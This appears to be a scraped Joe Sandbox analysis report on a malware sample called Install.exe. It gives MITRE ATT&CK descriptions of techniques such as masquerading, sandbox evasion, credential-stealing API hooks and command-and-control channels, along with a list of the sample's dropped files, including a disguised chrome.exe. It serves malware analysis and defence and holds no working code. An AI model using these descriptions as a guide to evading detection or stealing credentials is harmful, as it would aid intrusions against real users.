Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Install.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Unpacked PEs

Sigma Signatures

System Summary

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\34432.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bm0fgaxm.amy.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ngejssxk.m2l.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oy0x04mz.n4f.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sm1ft0n0.g32.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u32chnre.idy.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vv5vdss4.ljn.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xll1yvfj.55e.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yezoz5fn.st5.psm1

C:\Users\user\AppData\Roaming\34432.exe

C:\Users\user\AppData\Roaming\ChiefKeefofficialnaxyi_crypted(6).exe

C:\Users\user\AppData\Roaming\Chrome\chrome.exe

C:\Users\user\Documents\20220327\PowerShell_transcript.562258.JE93yUZc.20220327014216.txt

C:\Users\user\Documents\20220327\PowerShell_transcript.562258.mru0uP4T.20220327014103.txt

C:\Users\user\Documents\20220327\PowerShell_transcript.562258.nmfYJOoe.20220327014128.txt

C:\Windows\System32\20220327\PowerShell_transcript.562258.muxVAL9A.20220327014144.txt

Windows Analysis Report
Install.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre